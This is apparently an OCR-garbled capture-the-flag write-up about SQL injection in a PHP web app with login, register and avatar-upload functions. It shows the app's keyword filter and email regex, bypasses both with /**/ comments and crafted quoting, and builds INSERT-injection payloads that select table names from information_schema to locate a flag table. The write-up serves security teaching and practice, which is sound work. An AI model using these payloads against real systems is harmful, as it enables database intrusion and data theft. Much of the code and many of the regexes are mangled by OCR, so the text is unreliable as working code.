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public function login()
public function register()
public function add()
public function view()
public function edit()
public function export()
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public function login(){
if($this->user->islogin()){
header("Location:/index.php");
exit();
}
if(isset($_POST['username'])&8&isset($_POST["password”])){
$this->user->login($_POST[ 'username'],$_POST[ 'password']);
if (!$this->user->islogin()){
//TODO! report it!
echo "error! Login failed!";

}
else{
echo "Login success!";

}
}
else{

include("templates/login.html");
}
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function login($username,$password){
if(!is_string($username) or !$username or !filter($username)) return false;
if(!preg_match('/~[a-zA-Z0-9_]+$/i',$username)) return false;
$passhash=md5($password);
if($r=%$this->db->0One("users",array("username" =>
$_SESSION[ 'user']=$r;
$this->islogin=1;
$this->id = $_SESSION[ 'user'][0];
$this->username = $_SESSION[ 'user'][1];
$this->nickname = $_SESSION[ 'user'][2];
$this->email = $_SESSION[ 'user'][4];
return true;

$username'", "password” => "'$passhash'"))){

}

else
return false;
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function filter($string){
$preg="\b(benchmark\s*?\ (.*\)|sleep\s*?\(.*\)|load_file\s*?\()|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*
if(preg_match("/".$preg."/is",$string)){
die('hacker');
}

return true;
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<?php
/* The b in the pattern indicates a word boundary, so only the distinct
* word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/bwebb/i", "PHP is the web scripting language of choice.")) {
echo "A match was found.";
} else {
echo "A match was not found.";

if (preg_match("/bwebb/i", "PHP is the website scripting language of choice.")) {
echo "A match was found.";

} else {
echo "A match was not found.";

ﬁﬁ%‘ﬁtﬂA match was found.

JEEH YA match was not found.
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select * from users
select * from/**/users
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<?php
#$string = "select * from users";
$string = "select * from/**/users";

$preg="\b(benchmark\s*?\ (.*\)|sleep\s*?\(.*\)|load_file\s*?\()|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+
if(preg_match("/".$preg."/is",$string)){
var_dump( 'hacker');
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if(!preg_match('/~[a-zA-Z0-9_]+$/i',$username))
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/**/
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register
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public function register(){
if($this->user->islogin()){
header("Location:/index.php");

exit();
}
if(isset($_POST['username']) and isset($_POST['nickname']) and isset($_POST[ 'password']) and isset(
{
if($this->user->register($_POST[ 'username'],$_POST[ 'nickname'],$_POST[ 'password'],$_POST['email
//TODO! report it!
echo "error! Register failed!";
}
else{
echo "Register success!";
}
}
else{
include("templates/register.html");
}
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function register($username,$nickname,$password,$email){
if(!is_string($username) or !$username or !filter($username)) return false;
if(!is_string($nickname) or !$nickname or !filter($nickname)) return false;
if(!is_string($password) or !$password) return false;
if(!is_string($email) or !$email or !filter($email)) return false;
if(!preg_match('/~[a-zA-Z0-9_]+$/i',$username)) return false;
if(!preg_match('/~[a-zA-Z0-9_]+$/i',$nickname)) return false;
if(!preg_match('/~(([*<>(O)[1\.,5:5@"1+(. [*<>O) [\, 5:5@"1+)*) [(["1.+["1))@(([[0-91{1,3}.[0-9]{1,3}.
if ($this->db->One("users",array("username"” => "'$username’'"))) return false;
$email=daddslashes($email);
$passhash=md5($password);
return $this->db->Insert("users",array(

$username'"," '$nickname'"," '$passhash'"," '$email'"));
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if(!is_string($email) or !$email or !filter($email)) return false;
if(!preg_match('/~[a-zA-Z0-9_]+$/i',$username)) return false;
if(!preg_match('/~[a-zA-Z0-9_]+%$/i',$nickname)) return false;
if(!preg_match('/~(([*<>()[1\.,5:5@"1+(. [*<>O)[I\.,5:5@"1+)*) [(["1.+["1))@(([[0-91{1,3}.[0-9]{1,3}.[0-9]{1,
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ALY E P

1B R emailfl F- & F 1735 ) 22 7]
H S ATAT Lhbypass filter()
SR 5 = T TH B 1E U L g

if(tpreg_match("/~A(([*<>O)[I\.,5:5@"1+(. [*<>O LI\, 5:5@"1+)*) [ (["].+["1))@(([[0-91{1,3}.[0-9]{1,3}.[0-9]{1,
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<?php

<?php
$string = '"' and select 123 and 1=1#'"";
if(!preg_match('/~(["].4["])$/1"',%$string))
{
echo 'fuck';
}
?>
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([[e-91{1,3}.[6-9]1{1,3}.[6-9]{1,3}.[0-9]{1,3}])
I
(([a-zA-Z-0-9]+.)+[a-zA-Z]{2,})
)
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skysec.top
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' and 1=1#'"@skysec.top
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<?php

$email = '"' and 1=1#'"@skysec.top';
if(tpreg_match("/~(([*<>O)[I\N.,5:5@"1+(. [*<>O LI\, 5:5@"1+)*) [(["1.+["1))@(([[0-91{1,3}.[0-91{1,3}.[0-9]{1,
{

echo 'fuck';

}

?>
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$email=daddslashes($email);
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function daddslashes($string)

{
if (is_array($string)) {
$keys = array_keys($string);
foreach ($keys as $key) {
$val = $string[$key];
unset($string[$key]);
$string[addslashes($key)] = daddslashes($val);
}
} else {
$string =addslashes(trim($string));
}
return $string;
}
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function daddslashes($string)
{
if (is_array($string)) {
$keys = array_keys($string);
foreach ($keys as $key) {
$val = $string[$key];
unset($string[$key]);
$string[addslashes($key)] = daddslashes($val);
}
} else {
$string =addslashes(trim($string));
¥
return $string;
}
$email = '"' and 1=1#'"@skysec.top';

if(tpreg_match("/~(([*<>O)[I\.,5:5@"1+(. [*<>O[I\.,5:5@"1+)*) [(["].+["]1))@(([[0-91{1,3}.[0-9]1{1,3}.[0-9]{1,
{

echo 'fuck';

}

echo $email."n";
echo daddslashes($email);
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' and 1=1#'"@skysec.top
' and 1=1#'"@skysec.top
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public function add(){
if(isset($_POST['title'])&8&isset($_POST['content'])&$_POST['content']&&$ _POST['title']){
if(is_string($_POST['title']) && is_string($_POST[ 'content'])){
if($this->user->add($_POST['title'],$_POST[ 'content'])){
header("Location:/index.php/view/");

exit();
}
}
else{
//TODO! report it!
quit('Add failed!');
}
}
else{
include("templates/add.html");
}
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function add($title,$content){
$title=daddslashes($title);
$content=daddslashes($title);
return $this->db->Insert("articles”,array($this->id," '$title'"," "$content'"));
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if(isset($_GET['article'])){
$id=intval($_GET['article']);
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public function edit(){
if(isset($_POST['submit']) and isset($_POST['nickname']) and isset($_POST['email']) and isset($_POS
if($_POST['code']!==$%_SESSION[ 'code']){
quit('validatecode error!');

}
if(!$_POST[ 'nickname'] or !$_POST['email']) quit('Something error!');

if($_POST[ 'nickname’]!=$this->user->getnickname())
if($this->user->edit("nickname",$_POST[ 'nickname’']))
$_SESSION[ 'user'][2]=$_POST[ 'nickname'];

if($_POST[ 'email']!=$this->user->getemail())
if($this->user->edit("email”,$_POST[ 'email’]))
$_SESSION[ 'user'][4]=$_POST[ 'email'];

if($_FILES['avatar'] and $_FILES["avatar"]["error"] == 0){
if((($_FILES["avatar"]["type"] == "image/gif") or ($_FILES["avatar"]["type"] == "image/jpeg
$info=getimagesize($_FILES['avatar']['tmp_name']);
if(@is_array($info) and array_key_exists('mime',$info)){
$type=explode('/',$info[ 'mime"'])[1];
$filename="uploads/".$this->user->getuser().".".$type;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
$this->user->edit("avatar",array($filename, $type));
if(move_uploaded_file($_FILES['avatar']['tmp_name'], $filename)){
quit_and_refresh('Upload success!','edit');
}
quit_and_refresh('Success!','edit"');
}
}else {
//TODO! report it!
quit('Only allow gif/jpeg/png files smaller than 64kb!");

}
}
else{
//TODO! report it!
quit('Only allow gif/jpeg/png files smaller than 64kb!");
}
}
quit('Success!');
}
else

include("templates/edit.html");
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if((($_FILES["avatar"]["type"] == "image/gif") or ($_FILES["avatar"]["type"] == "image/jpeg") or ($_FILES["
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$info=getimagesize($_FILES['avatar']['tmp_name']);

if(@is_array($info) and array_key_exists('mime',$info)){
$type=explode('/",$info[ 'mime'])[1];
$filename="uploads/".$this->user->getuser().".".$type;
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function getuser(){
if ($this->islogin) return $this->username;
else return null;
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export

SHI AN THR T LR S, Ris HREER

if(file_exists($avatar) and filesize($avatar)<65535){
$data=file_get_contents($avatar);
if(!$this->user->updateavatar($data)) quit('Something error!');

}
else{
//TODO! report it!
$out="Your avatar is invalid, so we reported it"."</p>";
$report=$this->user->getreport();
if($report){
$out.="Your last report used email ".htmlspecialchars($report[2],ENT_QUOTES).", and rep
}
include("templates/error.html");
if(!$this->user->report(1l)) quit('Something error!');
die();
}
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function report($type_id){
return $this->db->Insert("reports”,array($this->id," '$this->email'",$type_id));
}
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"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat

FATH IR

<?php
function filter($string){
$preg="\b(benchmark\s*?\ (.*\)|sleep\s*?\(.*\)|load_file\s*?\()|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*
if(preg_match("/".$preg."/is",$string)){
var_dump( 'hacker');

}

return true;

}

function register($email){
if(!is_string($email) or !$email or !filter($email)) return false;

if(tpreg_match("/~(([*<>O)[I\.,5:5@"1+(. [*<>O [\, 5:5@Q" 1) *) [(["1.+["1))@(([[0-91{1,3}.[0-9]{1,3}.

return true;

}
$email = '"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_
var_dump(register($email));
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bool(true)
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"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat
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$this->db->Insert("reports”,array($this->id,"'$this->email’'",1));
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"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat
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$this->db->Insert("reports",array($this->id, """, 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ inf
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$this->id, """, 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 2
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$this->id,'"", 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 2
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if(isset($_GET['article'])){

}

else{
$id=$this->user->getid();
$this->view=$this->user->getarticle();
include("templates/view.html");

}
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function getid(){
if ($this->islogin) return $this->id;
else return null;
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if(file_exists($avatar) and filesize($avatar)<65535)
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$avatar=$this->user->getavatar();

R BEgetavatar()

function getavatar($raw=0){
if ($this->islogin){
$r=$this->db->0One("avatar",array("user_id"=>$this->id),array("*"));
if($raw==1){
if($r){
if($r[1]) return $r;
elseq{
$r[1]=file_get_contents($r[3]);
return $r;

}

}

else return array('',file_get_contents("uploads/0.jpg"),$this->id, "uploads/0.jpg", 'image/jp
}
if($r){

if($r[1]) return "data:".$r[4].";".base64_encode($r[1]);

else return "/".$r[3];
}

else return "/uploads/0.jpg";
}

else return null;
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$r=$this->db->0One("avatar",array("user_id"=>$this->id),array("*"));
if($r){
if($r[1]) return "data:".$r[4].";".base64_encode($r[1]);
else return "/".$r[3];
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CREATE TABLE IF NOT EXISTS “avatar™ (
“id® int(32) primary key auto_increment,
“data” blob,
‘user_id® int(32) UNIQUE KEY,
“filepath® varchar(300),
“photo_type® varchar(20)
)s
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$r[1]:data
$r[3]:filepath
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$filename="uploads/".$this->user->getuser().".".$type;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
$this->user->edit("avatar",array($filename, $type));

it edit()

if($feild=="avatar"){
return $this->db->Insert("avatar",array("''",$this->id," '$value[@]"'"," '$value[1]'"));

}

Elavatar® Kifilepath= Bt N

uploads/".$this->user->getuser().".".$type
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CREATE TABLE IF NOT EXISTS “users™ (
“id® int(32) primary key auto_increment,
“username” varchar(300) UNIQUE KEY,

R FPZKKER300, MEEKE



“filepath® varchar(300),
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file_exists($avatar)
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username =
skyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskysk
email =

"', 233), (id+1, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat
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CREATE TABLE IF NOT EXISTS "fffflag_is_here" (
“id® int(32) primary key auto_increment,
“fllllag_is_hhhhere® varchar(300),

)s
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